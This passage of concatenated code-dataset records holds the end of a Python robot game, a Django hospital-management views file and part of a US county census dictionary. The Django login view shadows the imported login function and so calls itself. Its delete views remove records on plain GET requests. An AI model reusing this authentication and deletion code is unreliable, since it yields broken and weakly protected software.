self.ViewList[target_id][2]\r\n\r\n self.moveChase(target_alpha)\r\n\r\n # no, turn around and wait\r\n else:\r\n self.v = 0\r\n self.a_alpha = 2\r\n\r\n def aimTargetIntelligent(self, target, chaserFriend):\r\n\r\n # who is my target\r\n target_id = target\r\n chaser_id = chaserFriend\r\n\r\n # is my target in my FOV?\r\n if self.ViewList[target_id][3]:\r\n # yes, chase him\r\n target_alpha = self.ViewList[target_id][2]\r\n self.moveChase(target_alpha)\r\n\r\n # no, follow different chaser, maybe they saw him\r\n elif self.ViewList[chaser_id][3]:\r\n chaser_alpha = self.ViewList[chaser_id][2]\r\n self.moveChase(chaser_alpha)\r\n\r\n # no, look around\r\n else:\r\n self.v = 0\r\n self.a_alpha = 2\r\n\r\n # or walk around\r\n # self.aimTarget(self.findTarget_pos())\r\n\r\n \r\n def shoot(self):\r\n if self.reload == 0 and self.deathTime == 0:\r\n #StartPosition sollte um ein Offset in Blickrichtung verschoben werden\r\n bulletpos = QVector2D(self.position.x(),self.position.y())\r\n\r\n #velocity based on angle\r\n GesX = math.cos(math.radians(self.alpha)) * Bullet.Bullet_Speed\r\n GesY = - math.sin(math.radians(self.alpha)) * Bullet.Bullet_Speed\r\n\r\n #set Bullet to middle of Robot\r\n OffsetVector = QVector2D((self.radius + Bullet.Bullet_Size)/2,(self.radius + Bullet.Bullet_Size)/2)\r\n bulletpos.__iadd__(OffsetVector)\r\n\r\n #set bullet to edge in firing direction\r\n OffsetX = math.cos(math.radians(self.alpha)) * (self.radius + 6)\r\n OffsetY = - math.sin(math.radians(self.alpha)) * (self.radius + 6)\r\n OffsetVector = QVector2D(OffsetX,OffsetY)\r\n bulletpos.__iadd__(OffsetVector)\r\n Vel = QVector2D(GesX,GesY)\r\n Vel.__iadd__(self.v_vector)\r\n Bullet1 = Bullet.Bullet(bulletpos, Vel)\r\n self.BulList.append(Bullet1)\r\n self.reload = RELOAD_TIME\r\n #print(self.BulList)\r\n\r\n \r\n\r\n","sub_path":"Week9 Feature start menu/Robots.py","file_name":"Robots.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"309722070","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth.models import User\nfrom .models import *\nfrom django.contrib.auth import authenticate,login,logout\n\n# Create your views here.\ndef about(request):\n return render(request,'about.html')\n\ndef contact(request):\n return render(request,'contact.html') \n\ndef index(request):\n if not request.user.is_staff:\n return redirect('login')\n doctors = Doctor.objects.all()\n patients = Patient.objects.all()\n appointment = Appointment.objects.all()\n d=0\n p=0\n a=0\n for i in doctors:\n d+=1 \n for i in patients:\n p+=1 \n for i in appointment:\n a+=1 \n d1={'d':d,'p':p,'a':a} \n return render(request,'index.html',d1) \n\n\n\ndef login(request):\n error=\"\"\n if request.method == 'POST':\n u = request.POST['uname']\n p = request.POST['pwd']\n user = authenticate(username=u,password=p)\n try:\n if user.is_staff:\n login(request,user)\n error=\"no\"\n else:\n error=\"yes\" \n except:\n error=\"yes\" \n d = {'error':error} \n return render(request,'login.html',d) \n\n\ndef logout_admin(request):\n if not request.user.is_staff:\n return redirect('login')\n logout(request)\n return redirect('login') \n\n\ndef view_doctor(request):\n if not request.user.is_staff:\n return redirect('login')\n doc = Doctor.objects.all() \n d = {'doc':doc} \n return render(request,'view_doctor.html',d) \n\n\ndef add_doctor(request):\n error=\"\"\n if not request.user.is_staff:\n return redirect('login')\n\n if request.method == 'POST':\n a = request.POST['name']\n b = request.POST['contact']\n c = request.POST['special']\n \n try:\n Doctor.objects.create(name=a,mobile=b,special=c)\n error=\"no\"\n \n except:\n error=\"yes\" \n d = {'error':error} \n return render(request,'add_doctor.html',d) \n\ndef delete_doctor(request,pid):\n if not request.user.is_staff:\n return redirect('login')\n\n doctor = Doctor.objects.get(id=pid)\n doctor.delete()\n return redirect('view_doctor')\n\n\ndef view_patient(request):\n if not request.user.is_staff:\n return redirect('login')\n pat = Patient.objects.all() \n d = {'pat':pat} \n return render(request,'view_patient.html',d) \n\n\ndef add_patient(request):\n error=\"\"\n if not request.user.is_staff:\n return redirect('login')\n\n if request.method == 'POST':\n a = request.POST['name']\n b = request.POST['gender']\n c = request.POST['mobile']\n d = request.POST['address']\n \n try:\n Patient.objects.create(name=a,gender=b,mobile=c,address=d)\n error=\"no\"\n \n except:\n error=\"yes\" \n d = {'error':error} \n return render(request,'add_patient.html',d) \n\ndef delete_patient(request,pid):\n if not request.user.is_staff:\n return redirect('login')\n\n patient = Patient.objects.get(id=pid)\n patient.delete()\n return redirect('view_patient')\n\ndef view_appointment(request):\n if not request.user.is_staff:\n return redirect('login')\n appoint = Appointment.objects.all() \n d = {'appoint':appoint} \n return render(request,'view_appointment.html',d) \n\n\ndef add_appointment(request):\n error=\"\"\n if not request.user.is_staff:\n return redirect('login')\n doctor1 = Doctor.objects.all()\n patient1 = Patient.objects.all()\n if request.method == 'POST':\n a = request.POST['doctor']\n b = request.POST['patient']\n c = request.POST['date']\n d = request.POST['time']\n doctor = Doctor.objects.filter(name=a).first()\n patient = Patient.objects.filter(name=b).first()\n try:\n Appointment.objects.create(doctor=doctor,patient=patient,date1=c,time1=d)\n error=\"no\"\n \n except:\n error=\"yes\" \n d = {'doctor':doctor1,'patient':patient1,'error':error} \n return render(request,'add_appointment.html',d) \n\ndef delete_appointment(request,pid):\n if not request.user.is_staff:\n return redirect('login')\n\n appointment = Appointment.objects.get(id=pid)\n appointment.delete()\n return redirect('view_appointment') ","sub_path":"hospital/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"289833621","text":"prettified_data = {'AK': {'Aleutians East': {'distrcit': 1, 'population': 3141},\n 'Aleutians West': {'distrcit': 2, 'population': 5561},\n 'Anchorage': {'distrcit': 55, 'population': 291826},\n 'Bethel': {'distrcit': 3, 'population': 17013},\n 'Bristol Bay': {'distrcit': 1, 'population': 997},\n 'Denali': {'distrcit': 1, 'population': 1826},\n 'Dillingham': {'distrcit': 2, 'population': 4847},\n 'Fairbanks North Star': {'distrcit': 19, 'population': 97581},\n 'Haines': {'distrcit': 1, 'population': 2508},\n 'Hoonah-Angoon': {'distrcit': 2, 'population': 2150},\n 'Juneau': {'distrcit': 6, 'population': 31275},\n 'Kenai Peninsula': {'distrcit': 13, 'population': 55400},\n 'Ketchikan Gateway': {'distrcit': 4, 'population': 13477},\n 'Kodiak Island': {'distrcit': 5, 'population': 13592},\n 'Lake and Peninsula': {'distrcit': 1, 'population': 1631},\n 'Matanuska-Susitna': {'distrcit': 24, 'population': 88995},\n 'Nome': {'distrcit': 2, 'population': 9492},\n 'North Slope': {'distrcit': 3, 'population': 9430},\n 'Northwest Arctic': {'distrcit': 2, 'population': 7523},\n 'Petersburg': {'distrcit': 1, 'population': 3815},\n 'Prince of Wales-Hyder': {'distrcit': 4, 'population': 5559},\n 'Sitka': {'distrcit': 2, 'population': 8881},\n 'Skagway': {'distrcit': 1, 'population': 968},\n 'Southeast Fairbanks': {'distrcit': 2, 'population': 7029},\n 'Valdez-Cordova': {'distrcit': 3, 'population': 9636},\n 'Wade Hampton': {'distrcit': 1, 'population': 7459},\n 'Wrangell': {'distrcit': 1, 'population': 2369},\n 'Yakutat': {'distrcit': 1, 'population': 662},\n 'Yukon-Koyukuk': {'distrcit': 4, 'population': 5588}},\n 'AL': {'Autauga': {'distrcit': 12, 'population': 54571},\n 'Baldwin': {'distrcit': 31, 'population': 182265},\n 'Barbour': {'distrcit': 9, 'population': 27457},\n 'Bibb': {'distrcit': 4, 'population': 22915},\n 'Blount': {'distrcit': 9, 'population': 57322},\n 'Bullock': {'distrcit': 3, 'population': 10914},\n 'Butler': {'distrcit': 9, 'population': 20947},\n 'Calhoun': {'distrcit': 31, 'population': 118572},\n 'Chambers': {'distrcit': 9, 'population': 34215},\n 'Cherokee': {'distrcit': 6, 'population': 25989},\n 'Chilton': {'distrcit': 9, 'population': 43643},\n 'Choctaw': {'distrcit': 4, 'population': 13859},\n 'Clarke': {'distrcit': 9, 'population': 25833},\n 'Clay': {'distrcit': 4, 'population': 13932},\n 'Cleburne': {'distrcit': 4, 'population': 14972},\n 'Coffee': {'distrcit': 14, 'population': 49948},\n 'Colbert': {'distrcit': 14, 'population': 54428},\n 'Conecuh': {'distrcit': 5, 'population': 13228},\n 'Coosa': {'distrcit': 3, 'population': 11539},\n 'Covington': {'distrcit': 14, 'population': 37765},\n 'Crenshaw': {'distrcit': 6, 'population': 13906},\n 'Cullman': {'distrcit': 18, 'population': 80406},\n 'Dale': {'distrcit': 14, 'population': 50251},\n 'Dallas': {'distrcit': 15, 'population': 43820},\n 'DeKalb': {'distrcit': 14, 'population': 71109},\n 'Elmore': {'distrcit': 15, 'population': 79303},\n 'Escambia': {'distrcit': 9, 'population': 38319},\n 'Etowah': {'distrcit': 30, 'population': 104430},\n 'Fayette': {'distrcit': 5, 'population': 17241},\n 'Franklin': {'distrcit': 9, 'population': 31704},\n 'Geneva': {'distrcit': 6, 'population': 26790},\n 'Greene': {'distrcit': 3, 'population': 9045},\n 'Hale': {'distrcit': 6, 'population': 15760},\n 'Henry': {'distrcit': 6, 'population': 17302},\n 'Houston': {'distrcit': 22, 'population': 101547},\n 'Jackson': {'distrcit': 11, 'population': 53227},\n 'Jefferson': {'distrcit': 163, 'population': 658466},\n 'Lamar': {'distrcit': 3, 'population': 14564},\n 'Lauderdale': {'distrcit': 22, 'population': 92709},\n 'Lawrence': {'distrcit': 9, 'population': 34339},\n 'Lee': {'distrcit': 27, 'population': 140247},\n 'Limestone': {'distrcit': 16, 'population': 82782},\n 'Lowndes': {'distrcit': 4, 'population': 11299},\n 'Macon': {'distrcit': 12, 'population': 21452},\n 'Madison': {'distrcit': 73, 'population': 334811},\n 'Marengo': {'distrcit': 6, 'population': 21027},\n 'Marion': {'distrcit': 8, 'population': 30776},\n 'Marshall': {'distrcit': 18, 'population': 93019},\n 'Mobile': {'distrcit': 114, 'population': 412992},\n 'Monroe': {'distrcit': 7, 'population': 23068},\n 'Montgomery': {'distrcit': 65, 'population': 229363},\n 'Morgan': {'distrcit': 27, 'population': 119490},\n 'Perry': {'distrcit': 3, 'population': 10591},\n 'Pickens': {'distrcit': 5, 'population': 19746},\n 'Pike': {'distrcit': 8, 'population': 32899},\n 'Randolph': {'distrcit': 6, 'population': 22913},\n 'Russell': {'distrcit': 13, 'population': 52947},\n 'Shelby': {'distrcit': 48, 'population': 195085},\n 'St. Clair': {'distrcit': 13, 'population': 83593},\n 'Sumter': {'distrcit': 4, 'population': 13763},\n 'Talladega': {'distrcit': 22, 'population': 82291},\n 'Tallapoosa': {'distrcit': 10, 'population': 41616},\n 'Tuscaloosa': {'distrcit': 47, 'population': 194656},\n 'Walker': {'distrcit': 18, 'population': 67023},\n 'Washington': {'distrcit': 5, 'population': 17581},\n 'Wilcox': {'distrcit': 4, 'population': 11670},\n 'Winston': {'distrcit': 7, 'population': 24484}},\n 'AR': {'Arkansas': {'distrcit': 8, 'population': 19019},\n 'Ashley': {'distrcit': 7, 'population': 21853},\n 'Baxter': {'distrcit': 9, 'population': 41513},\n 'Benton': {'distrcit': 49, 'population': 221339},\n 'Boone': {'distrcit': 7, 'population': 36903},\n 'Bradley': {'distrcit': 5, 'population': 11508},\n 'Calhoun': {'distrcit': 2, 'population': 5368},\n 'Carroll': {'distrcit': 5, 'population': 27446},\n 'Chicot': {'distrcit': 4, 'population': 11800},\n 'Clark': {'distrcit': 5, 'population': 22995},\n 'Clay': {'distrcit': 6, 'population': 16083},\n 'Cleburne': {'distrcit': 7, 'population': 25970},\n 'Cleveland': {'distrcit': 2, 'population': 8689},\n 'Columbia': {'distrcit': 5, 'population': 24552},\n 'Conway': {'distrcit': 6, 'population': 21273},\n 'Craighead': {'distrcit': 17, 'population': 96443},\n 'Crawford': {'distrcit': 11, 'population': 61948},\n 'Crittenden': {'distrcit': 20, 'population': 50902},\n 'Cross': {'distrcit': 6, 'population': 17870},\n 'Dallas': {'distrcit': 3, 'population': 8116},\n 'Desha': {'distrcit': 5, 'population': 13008},\n 'Drew': {'distrcit': 5, 'population': 18509},\n 'Faulkner': {'distrcit': 25, 'population': 113237},\n 'Franklin': {'distrcit': 3, 'population': 18125},\n 'Fulton': {'distrcit': 2, 'population': 12245},\n 'Garland': {'distrcit': 20, 'population': 96024},\n 'Grant': {'distrcit': 4, 'population': 17853},\n 'Greene': {'distrcit': 9, 'population': 42090},\n 'Hempstead': {'distrcit': 5, 'population': 22609},\n 'Hot Spring': {'distrcit': 7, 'population': 32923},\n 'Howard': {'distrcit': 3, 'population': 13789},\n 'Independence': {'distrcit': 8, 'population': 36647},\n 'Izard': {'distrcit': 4, 'population': 13696},\n 'Jackson': {'distrcit': 5, 'population': 17997},\n 'Jefferson': {'distrcit': 24, 'population': 77435},\n 'Johnson': {'distrcit': 6, 'population': 25540},\n 'Lafayette': {'distrcit': 2, 'population': 7645},\n 'Lawrence': {'distrcit': 6, 'population': 17415},\n 'Lee': {'distrcit': 4, 'population': 10424},\n 'Lincoln': {'distrcit': 4, 'population': 14134},\n 'Little River': {'distrcit': 4, 'population': 13171},\n 'Logan': {'distrcit': 6, 'population': 22353},\n 'Lonoke': {'distrcit': 16, 'population': 68356},\n 'Madison': {'distrcit': 4, 'population': 15717},\n 'Marion': {'distrcit': 4, 'population': 16653},\n 'Miller': {'distrcit': 12, 'population': 43462},\n 'Mississippi': {'distrcit': 12, 'population': 46480},\n 'Monroe': {'distrcit': 3, 'population': 8149},\n 'Montgomery': {'distrcit': 3, 'population': 9487},\n 'Nevada': {'distrcit': 3, 'population': 8997},\n 'Newton': {'distrcit': 2, 'population': 8330},\n 'Ouachita': {'distrcit': 6, 'population': 26120},\n 'Perry': {'distrcit': 3, 'population': 10445},\n 'Phillips': {'distrcit': 6, 'population': 21757},\n 'Pike': {'distrcit': 3, 'population': 11291},\n 'Poinsett': {'distrcit': 7, 'population': 24583},\n 'Polk': {'distrcit': 6, 'population': 20662},\n 'Pope': {'distrcit': 11, 'population': 61754},\n 'Prairie': {'distrcit': 3, 'population': 8715},\n 'Pulaski': {'distrcit': 95, 'population': 382748},\n 'Randolph': {'distrcit': 4, 'population': 17969},\n 'Saline': {'distrcit': 21, 'population': 107118},\n 'Scott': {'distrcit': 3, 'population': 11233},\n 'Searcy': {'distrcit': 3, 'population': 8195},\n 'Sebastian': {'distrcit': 26, 'population': 125744},\n 'Sevier': {'distrcit': 4, 'population': 17058},\n 'Sharp': {'distrcit': 4, 'population': 17264},\n 'St. Francis': {'distrcit': 6, 'population': 28258},\n 'Stone': {'distrcit': 3, 'population': 12394},\n 'Union': {'distrcit': 10, 'population': 41639},\n 'Van Buren': {'distrcit': 5, 'population': 17295},\n 'Washington': {'distrcit': 32, 'population': 203065},\n 'White': {'distrcit': 13, 'population': 77076},\n 'Woodruff': {'distrcit': 2, 'population': 7260},\n 'Yell': {'distrcit': 6, 'population': 22185}},\n 'AZ': {'Apache': {'distrcit': 16, 'population': 71518},\n 'Cochise': {'distrcit': 32, 'population': 131346},\n 'Coconino': {'distrcit': 28, 'population': 134421},\n 'Gila': {'distrcit': 16, 'population': 53597},\n 'Graham': {'distrcit': 9, 'population': 37220},\n 'Greenlee': {'distrcit': 3, 'population': 8437},\n 'La Paz': {'distrcit': 9, 'population': 20489},\n 'Maricopa': {'distrcit': 916, 'population': 3817117},\n 'Mohave': {'distrcit': 43, 'population': 200186},\n 'Navajo': {'distrcit': 31, 'population': 107449},\n 'Pima': {'distrcit': 241, 'population': 980263},\n 'Pinal': {'distrcit': 75, 'population': 375770},\n 'Santa Cruz': {'distrcit': 10, 'population': 47420},\n 'Yavapai': {'distrcit': 42, 'population': 211033},\n 'Yuma': {'distrcit': 55, 'population': 195751}},\n 'CA': {'Alameda': {'distrcit': 360, 'population': 1510271},\n 'Alpine': {'distrcit': 1, 'population': 1175},\n 'Amador': {'distrcit': 9, 'population': 38091},\n 'Butte': {'distrcit': 51, 'population': 220000},\n 'Calaveras': {'distrcit': 10, 'population': 45578},\n 'Colusa': {'distrcit': 5, 'population': 21419},\n 'Contra Costa': {'distrcit': 208, 'population': 1049025},\n 'Del Norte': {'distrcit': 7, 'population': 28610},\n 'El Dorado': {'distrcit': 43, 'population': 181058},\n 'Fresno': {'distrcit': 199, 'population': 930450},\n 'Glenn': {'distrcit': 6, 'population': 28122},\n 'Humboldt': {'distrcit': 30, 'population': 134623},\n 'Imperial': {'distrcit': 31, 'population': 174528},\n 'Inyo': {'distrcit': 6, 'population': 18546},\n 'Kern': {'distrcit': 151, 'population': 839631},\n 'Kings': {'distrcit': 27, 'population': 152982},\n 'Lake': {'distrcit': 15, 'population': 64665},\n 'Lassen': {'distrcit': 9, 'population': 34895},\n 'Los Angeles': {'distrcit': 2343, 'population': 9818605},\n 'Madera': {'distrcit': 23, 'population': 150865},\n 'Marin': {'distrcit': 55, 'population': 252409},\n 'Mariposa': {'distrcit': 6, 'population': 18251},\n 'Mendocino': {'distrcit': 20, 'population': 87841},\n 'Merced': {'distrcit': 49, 'population': 255793},\n 'Modoc': {'distrcit': 4, 'population': 9686},\n 'Mono': {'distrcit': 3, 'population': 14202},\n 'Monterey': {'distrcit': 93, 'population': 415057},\n 'Napa': {'distrcit': 40, 'population': 136484},\n 'Nevada': {'distrcit': 20, 'population': 98764},\n 'Orange': {'distrcit': 583, 'population': 3010232},\n 'Placer': {'distrcit': 85, 'population': 348432},\n 'Plumas': {'distrcit': 7, 'population': 20007},\n 'Riverside': {'distrcit': 453, 'population': 2189641},\n 'Sacramento': {'distrcit': 317, 'population': 1418788},\n 'San Benito': {'distrcit': 11, 'population': 55269},\n 'San Bernardino': {'distrcit': 369, 'population': 2035210},\n 'San Diego': {'distrcit': 628, 'population': 3095313},\n 'San Francisco': {'distrcit': 196, 'population': 805235},\n 'San Joaquin': {'distrcit': 139, 'population': 685306},\n 'San Luis Obispo': {'distrcit': 53, 'population': 269637},\n 'San Mateo': {'distrcit': 158, 'population': 718451},\n 'Santa Barbara': {'distrcit': 90, 'population': 423895},\n 'Santa Clara': {'distrcit': 372, 'population': 1781642},\n 'Santa Cruz': {'distrcit': 52, 'population': 262382},\n 'Shasta': {'distrcit': 48, 'population': 177223},\n 'Sierra': {'distrcit': 1, 'population': 3240},\n 'Siskiyou': {'distrcit': 14, 'population': 44900},\n 'Solano': {'distrcit': 96, 'population': 413344},\n 'Sonoma': {'distrcit': 99, 'population': 483878},\n 'Stanislaus': {'distrcit': 94, 'population': 514453},\n 'Sutter': {'distrcit': 21, 'population': 94737},\n 'Tehama': {'distrcit': 11, 'population': 63463},\n 'Trinity': {'distrcit': 5, 'population': 13786},\n 'Tulare': {'distrcit': 78, 'population': 442179},\n 'Tuolumne': {'distrcit': 11, 'population': 55365},\n 'Ventura': {'distrcit': 174, 'population': 823318},\n 'Yolo': {'distrcit': 41, 'population': 200849},\n 'Yuba': {'distrcit': 14, 'population': 72155}},\n 'CO': {'Adams': {'distrcit': 97, 'population': 441603},\n 'Alamosa': {'distrcit': 4, 'population': 15445},\n 'Arapahoe': {'distrcit': 147, 'population': 572003},\n 'Archuleta': {'distrcit': 4, 'population': 12084},\n 'Baca': {'distrcit': 2, 'population': 3788},\n 'Bent': {'distrcit': 1, 'population': 6499},\n 'Boulder': {'distrcit': 68, 'population': 294567},\n 'Broomfield': {'distrcit': 18, 'population': 55889},\n 'Chaffee': {'distrcit': 5, 'population': 17809},\n 'Cheyenne': {'distrcit': 1, 'population': 1836},\n 'Clear Creek': {'distrcit': 3, 'population': 9088},\n 'Conejos': {'distrcit': 2, 'population': 8256},\n 'Costilla': {'distrcit': 2, 'population': 3524},\n 'Crowley': {'distrcit': 1, 'population': 5823},\n 'Custer': {'distrcit': 1, 'population': 4255},\n 'Delta': {'distrcit': 7, 'population': 30952},\n 'Denver': {'distrcit': 144, 'population': 600158},\n 'Dolores': {'distrcit': 1, 'population': 2064},\n 'Douglas': {'distrcit': 61, 'population': 285465},\n 'Eagle': {'distrcit': 14, 'population': 52197},\n 'El Paso': {'distrcit': 130, 'population': 622263},\n 'Elbert': {'distrcit': 7, 'population': 23086},\n 'Fremont': {'distrcit': 14, 'population': 46824},\n 'Garfield': {'distrcit': 11, 'population': 56389},\n 'Gilpin': {'distrcit': 1, 'population': 5441},\n 'Grand': {'distrcit': 3, 'population': 14843},\n 'Gunnison': {'distrcit': 4, 'population': 15324},\n 'Hinsdale': {'distrcit': 1, 'population': 843},\n 'Huerfano': {'distrcit': 2, 'population': 6711},\n 'Jackson': {'distrcit': 1, 'population': 1394},\n 'Jefferson': {'distrcit': 138, 'population': 534543},\n 'Kiowa': {'distrcit': 1, 'population': 1398},\n 'Kit Carson': {'distrcit': 3, 'population': 8270},\n 'La Plata': {'distrcit': 10, 'population': 51334},\n 'Lake': {'distrcit': 2, 'population': 7310},\n 'Larimer': {'distrcit': 73, 'population': 299630},\n 'Las Animas': {'distrcit': 6, 'population': 15507},\n 'Lincoln': {'distrcit': 2, 'population': 5467},\n 'Logan': {'distrcit': 6, 'population': 22709},\n 'Mesa': {'distrcit': 29, 'population': 146723},\n 'Mineral': {'distrcit': 1, 'population': 712},\n 'Moffat': {'distrcit': 4, 'population': 13795},\n 'Montezuma': {'distrcit': 7, 'population': 25535},\n 'Montrose': {'distrcit': 10, 'population': 41276},\n 'Morgan': {'distrcit': 8, 'population': 28159},\n 'Otero': {'distrcit': 7, 'population': 18831},\n 'Ouray': {'distrcit': 1, 'population': 4436},\n 'Park': {'distrcit': 5, 'population': 16206},\n 'Phillips': {'distrcit': 2, 'population': 4442},\n 'Pitkin': {'distrcit': 4, 'population': 17148},\n 'Prowers': {'distrcit': 5, 'population': 12551},\n 'Pueblo': {'distrcit': 55, 'population': 159063},\n 'Rio Blanco': {'distrcit': 2, 'population': 6666},\n 'Rio Grande': {'distrcit': 3, 'population': 11982},\n 'Routt': {'distrcit': 8, 'population': 23509},\n 'Saguache': {'distrcit': 2, 'population': 6108},\n 'San Juan': {'distrcit': 1, 'population': 699},\n 'San Miguel': {'distrcit': 4, 'population': 7359},\n 'Sedgwick': {'distrcit': 1, 'population': 2379},\n 'Summit': {'distrcit': 5, 'population': 27994},\n 'Teller': {'distrcit': 6, 'population': 23350},\n 'Washington': {'distrcit': 2, 'population': 4814},\n 'Weld': {'distrcit': 77, 'population': 252825},\n 'Yuma': {'distrcit': 2, 'population': 10043}},\n 'CT': {'Fairfield': {'distrcit': 211, 'population': 916829},\n 'Hartford': {'distrcit': 224, 'population': 894014},\n 'Litchfield': {'distrcit': 51, 'population': 189927},\n 'Middlesex': {'distrcit': 36, 'population': 165676},\n 'New Haven': {'distrcit': 190, 'population': 862477},\n 'New London': {'distrcit': 66, 'population': 274055},\n 'Tolland': {'distrcit': 29, 'population': 152691},\n 'Windham': {'distrcit': 25, 'population': 118428}},\n 'DC': {'District of Columbia': {'distrcit': 179, 'population': 601723}},\n 'DE': {'Kent': {'distrcit': 33, 'population': 162310},\n 'New Castle': {'distrcit': 131, 'population': 538479},\n 'Sussex': {'distrcit': 54, 'population': 197145}},\n 'FL': {'Alachua': {'distrcit': 56, 'population': 247336},\n 'Baker': {'distrcit': 4, 'population': 27115},\n 'Bay': {'distrcit': 44, 'population': 168852},\n 'Bradford': {'distrcit': 4, 'population': 28520},\n 'Brevard': {'distrcit': 113, 'population': 543376},\n 'Broward': {'distrcit': 361, 'population': 1748066},\n 'Calhoun': {'distrcit': 3, 'population': 14625},\n 'Charlotte': {'distrcit': 39, 'population': 159978},\n 'Citrus': {'distrcit': 27, 'population': 141236},\n 'Clay': {'distrcit': 30, 'population': 190865},\n 'Collier': {'distrcit': 73, 'population': 321520},\n 'Columbia': {'distrcit': 12, 'population': 67531},\n 'DeSoto': {'distrcit': 9, 'population': 34862},\n 'Dixie': {'distrcit': 3, 'population': 16422},\n 'Duval': {'distrcit': 173, 'population': 864263},\n 'Escambia': {'distrcit': 71, 'population': 297619},\n 'Flagler': {'distrcit': 20, 'population': 95696},\n 'Franklin': {'distrcit': 4, 'population': 11549},\n 'Gadsden': {'distrcit': 9, 'population': 46389},\n 'Gilchrist': {'distrcit': 5, 'population': 16939},\n 'Glades': {'distrcit': 4, 'population': 12884},\n 'Gulf': {'distrcit': 3, 'population': 15863},\n 'Hamilton': {'distrcit': 3, 'population': 14799},\n 'Hardee': {'distrcit': 6, 'population': 27731},\n 'Hendry': {'distrcit': 7, 'population': 39140},\n 'Hernando': {'distrcit': 45, 'population': 172778},\n 'Highlands': {'distrcit': 27, 'population': 98786},\n 'Hillsborough': {'distrcit': 321, 'population': 1229226},\n 'Holmes': {'distrcit': 4, 'population': 19927},\n 'Indian River': {'distrcit': 30, 'population': 138028},\n 'Jackson': {'distrcit': 11, 'population': 49746},\n 'Jefferson': {'distrcit': 3, 'population': 14761},\n 'Lafayette': {'distrcit': 2, 'population': 8870},\n 'Lake': {'distrcit': 56, 'population': 297052},\n 'Lee': {'distrcit': 166, 'population': 618754},\n 'Leon': {'distrcit': 68, 'population': 275487},\n 'Levy': {'distrcit': 9, 'population': 40801},\n 'Liberty': {'distrcit': 2, 'population': 8365},\n 'Madison': {'distrcit': 5, 'population': 19224},\n 'Manatee': {'distrcit': 78, 'population': 322833},\n 'Marion': {'distrcit': 63, 'population': 331298},\n 'Martin': {'distrcit': 35, 'population': 146318},\n 'Miami-Dade': {'distrcit': 519, 'population': 2496435},\n 'Monroe': {'distrcit': 30, 'population': 73090},\n 'Nassau': {'distrcit': 12, 'population': 73314},\n 'Okaloosa': {'distrcit': 41, 'population': 180822},\n 'Okeechobee': {'distrcit': 12, 'population': 39996},\n 'Orange': {'distrcit': 207, 'population': 1145956},\n 'Osceola': {'distrcit': 41, 'population': 268685},\n 'Palm Beach': {'distrcit': 337, 'population': 1320134},\n 'Pasco': {'distrcit': 134, 'population': 464697},\n 'Pinellas': {'distrcit': 245, 'population': 916542},\n 'Polk': {'distrcit': 154, 'population': 602095},\n 'Putnam': {'distrcit': 17, 'population': 74364},\n 'Santa Rosa': {'distrcit': 25, 'population': 151372},\n 'Sarasota': {'distrcit': 94, 'population': 379448},\n 'Seminole': {'distrcit': 86, 'population': 422718},\n 'St. Johns': {'distrcit': 40, 'population': 190039},\n 'St. Lucie': {'distrcit': 44, 'population': 277789},\n 'Sumter': {'distrcit': 19, 'population': 93420},\n 'Suwannee': {'distrcit': 7, 'population': 41551},\n 'Taylor': {'distrcit': 4, 'population': 22570},\n 'Union': {'distrcit': 3, 'population': 15535},\n 'Volusia': {'distrcit': 113, 'population': 494593},\n 'Wakulla': {'distrcit': 4, 'population': 30776},\n 'Walton': {'distrcit': 11, 'population': 55043},\n 'Washington': {'distrcit': 7, 'population': 24896}},\n 'GA': {'Appling': {'distrcit': 5, 'population': 18236},\n 'Atkinson': {'distrcit': 3, 'population': 8375},\n 'Bacon': {'distrcit': 3, 'population': 11096},\n 'Baker': {'distrcit': 2, 'population': 3451},\n 'Baldwin': {'distrcit': 9, 'population': 45720},\n 'Banks': {'distrcit': 4, 'population': 18395},\n 'Barrow': {'distrcit': 18, 'population': 69367},\n 'Bartow': {'distrcit': 15, 'population': 100157},\n 'Ben Hill': {'distrcit': 5, 'population': 17634},\n 'Berrien': {'distrcit': 6, 'population': 19286},\n 'Bibb': {'distrcit': 44, 'population': 155547},\n 'Bleckley': {'distrcit': 3, 'population': 13063},\n 'Brantley': {'distrcit': 3, 'population': 18411},\n 'Brooks': {'distrcit': 5, 'population': 16243},\n 'Bryan': {'distrcit': 7, 'population': 30233},\n 'Bulloch': {'distrcit': 12, 'population': 70217},\n 'Burke': {'distrcit': 6, 'population': 23316},\n 'Butts': {'distrcit': 3, 'population': 23655},\n 'Calhoun': {'distrcit': 2, 'population': 6694},\n 'Camden': {'distrcit': 10, 'population': 50513},\n 'Candler': {'distrcit': 3, 'population': 10998},\n 'Carroll': {'distrcit': 17, 'population': 110527},\n 'Catoosa': {'distrcit': 11, 'population': 63942},\n 'Charlton': {'distrcit': 2, 'population': 12171},\n 'Chatham': {'distrcit': 72, 'population': 265128},\n 'Chattahoochee': {'distrcit': 5, 'population': 11267},\n 'Chattooga': {'distrcit': 6, 'population': 26015},\n 'Cherokee': {'distrcit': 26, 'population': 214346},\n 'Clarke': {'distrcit': 30, 'population': 116714},\n 'Clay': {'distrcit': 1, 'population': 3183},\n 'Clayton': {'distrcit': 50, 'population': 259424},\n 'Clinch': {'distrcit': 2, 'population': 6798},\n 'Cobb': {'distrcit': 120, 'population': 688078},\n 'Coffee': {'distrcit': 9, 'population': 42356},\n 'Colquitt': {'distrcit': 10, 'population': 45498},\n 'Columbia': {'distrcit': 20, 'population': 124053},\n 'Cook': {'distrcit': 4, 'population': 17212},\n 'Coweta': {'distrcit': 20, 'population': 127317},\n 'Crawford': {'distrcit': 3, 'population': 12630},\n 'Crisp': {'distrcit': 6, 'population': 23439},\n 'Dade': {'distrcit': 4, 'population': 16633},\n 'Dawson': {'distrcit': 3, 'population': 22330},\n 'DeKalb': {'distrcit': 145, 'population': 691893},\n 'Decatur': {'distrcit': 7, 'population': 27842},\n 'Dodge': {'distrcit': 6, 'population': 21796},\n 'Dooly': {'distrcit': 3, 'population': 14918},\n 'Dougherty': {'distrcit': 27, 'population': 94565},\n 'Douglas': {'distrcit': 20, 'population': 132403},\n 'Early': {'distrcit': 5, 'population': 11008},\n 'Echols': {'distrcit': 2, 'population': 4034},\n 'Effingham': {'distrcit': 10, 'population': 52250},\n 'Elbert': {'distrcit': 5, 'population': 20166},\n 'Emanuel': {'distrcit': 6, 'population': 22598},\n 'Evans': {'distrcit': 3, 'population': 